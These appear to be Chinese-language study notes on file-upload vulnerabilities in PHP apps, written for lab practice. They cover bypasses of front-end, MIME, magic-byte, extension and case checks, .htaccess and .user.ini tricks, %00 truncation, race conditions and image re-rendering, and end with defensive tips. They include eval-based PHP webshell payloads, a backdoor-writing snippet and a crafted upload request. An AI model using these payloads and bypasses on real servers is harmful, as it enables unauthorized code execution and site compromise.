概览
- 本文为文件上传漏洞的复现与检测笔记,包含前后端验证类型、常见绕过技巧、以及一些攻击构造示例,便于实战练习(如 Docker labs)。
- 适用于 PHP 原生上传场景(但很多点可迁移到其它语言/框架)。


知识点摘要
1、前端 JS 校验
- 如何判断是前端校验?
- 抓包时:如果在浏览器提示“文件类型不正确”之前,并未出现上传请求(即没有抓到 multipart/form-data 请求),那很可能是前端校验(JS 在提交前阻止了上传)。
- 实战:绕过前端校验可以通过构造请求(使用 curl / burp / python requests)直接发送 multipart 请求。
2、.htaccess 或 .user.ini 利用
.htaccess示例:
AddType application/x-httpd-php .png
- 将
.png识别为 PHP,导致服务器把上传的图片作为 PHP 执行。 .user.ini示例:
auto_prepend_file = getshell.png
- 通过设置 PHP 配置项使得某些文件被当作入口载入。
3、MIME 类型
- 上传请求头中
Content-Type: image/png并不足以保证文件是真正的图片,MIME 可伪造。 - 服务端不要只依赖
Content-Type判断文件类型。
4、文件头判断(Magic bytes)
- 常见文件头示例:
- GIF:
GIF89a或GIF87a - PNG:前几字节
\x89PNG\r\n\x1a\n
- GIF:
- 仅靠文件头判断也可能被绕过(比如在文件前或后追加 payload,或修改文件头后再恢复等技巧)。
5、黑名单 — 过滤不严(后缀)
- 简单字符串替换或黑名单可能被绕过,比如
pphphp、在后缀中嵌入无效字符等。 - 黑名单通常存在无递归替换或正则错误,容易被绕过。
6、大小写问题
- 文件名或后缀大小写敏感/不敏感导致判断失误(Windows vs Linux 的差异)。
- 例如
Shell.PHP、shell.Php等都可能绕过只按小写判断的过滤。
7、低版本 GET 的 %00 截断
- 在一些早期 PHP/服务器配置中,
%00(NULL)截断攻击:
GET /var/www/html/upload/x.php%00
- GET 请求可能被自动解码一次,从而触发截断。
8、低版本 POST 的 %00 截断
- POST 请求不会自动解码,需要二次解码,攻击者可以尝试
../upload/x.php%00再二次解码绕过。
9、黑名单绕过举例(fuzz)
- 使用 fuzz 工具爆破可能会发现:
php3、phtml、phps等可执行扩展- 通过 HTML 标签嵌入 PHP 代码(在某些解析器或古老配置下):
<script language="php">eval($_POST['cmd']); phpinfo();</script>
10、逻辑缺陷 — 条件竞争(竞态)
- 场景:先保存文件,再进行过滤删除;攻击者并发上传可能在删除前触发包含/执行。
- 示例思路:
- 服务端保存
xiao.php并写入恶意代码:
- 服务端保存
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
- 攻击方高速并发上传 / 请求,利用竞态条件执行后门。
11、二次渲染(图片处理导致保留区)
- 网站通常会对图片做二次渲染(缩放、压缩、转码),这可能删除植入的恶意代码。
- 绕过思路:
- 上传一张“正常”的图片,取得渲染后输出文件并比对差异(定位哪些字节被保留)。
- 在保留区插入后门代码(比如把后门插入到不会被渲染改变的部分)。
- 通过文件包含或其它路径执行该后门。
- 需要工具:010 Editor、hex 编辑器、图片差异比对工具。
12、函数缺陷
- 某些文件系统操作/路径拼接可能被利用,例如:
move_uploaded_file($tmp, "1.php/.");
- 如果保存的文件名可控,可能造成文件被当作可执行文件或放置在可包含目录下。
13、代码审计 — 表单数组绕过
- 利用表单字段数组或不常见的
Content-Disposition字段名来绕过服务器端解析:
-----------------------------174283082921961
Content-Disposition: form-data; name="save_name[0]"
http://2.php/
-----------------------------174283082921961
Content-Disposition: form-data; name="save_name[2]"
gif
- 这种方式经常用来混淆后端解析器,或者在数组索引处理中绕过校验。
附录、无法连接时 — 上传请求包构造示例
下面是一个构造的上传 POST 请求(multipart/form-data)示例,便于在 Burp/Netcat/curl 中复现:
POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: xx.xx.xx.xx:xxxx
User-Agent: Mozilla/5.0 ...
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 265
----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
<?php echo 'hello!!!';@eval($_POST['aw'])?>
----------------------------921378126371623762173617--
注意:上面示例用于实验测试用途,请仅在授权环境中复现。
使用建议 / 防护要点(开发者方向)
- 不要只信任前端校验,需要服务端做同样或更严格的校验。
- 白名单优于黑名单:尽量只允许确切的、已验证的扩展名和 MIME 类型(并结合文件内容检测)。
- 检查文件内容(magic bytes)并结合库检测图片有效性(GD、ImageMagick 的安全调用)。
- 保存路径与可执行目录分离:将上传文件存放在不可执行目录,或配置 web server 不执行上传目录内脚本。
- 对文件名做严格处理:移除特殊字符、规范化路径、禁止
../等父目录引用。 - 限制可上传大小 / 并发,防止 DoS / 竞态利用。
- 二次渲染安全:对图片处理组件加固,避免把可控数据保留在最终文件中。
- 日志与告警:记录异常上传行为(可疑扩展、批量上传等),及时触发审计。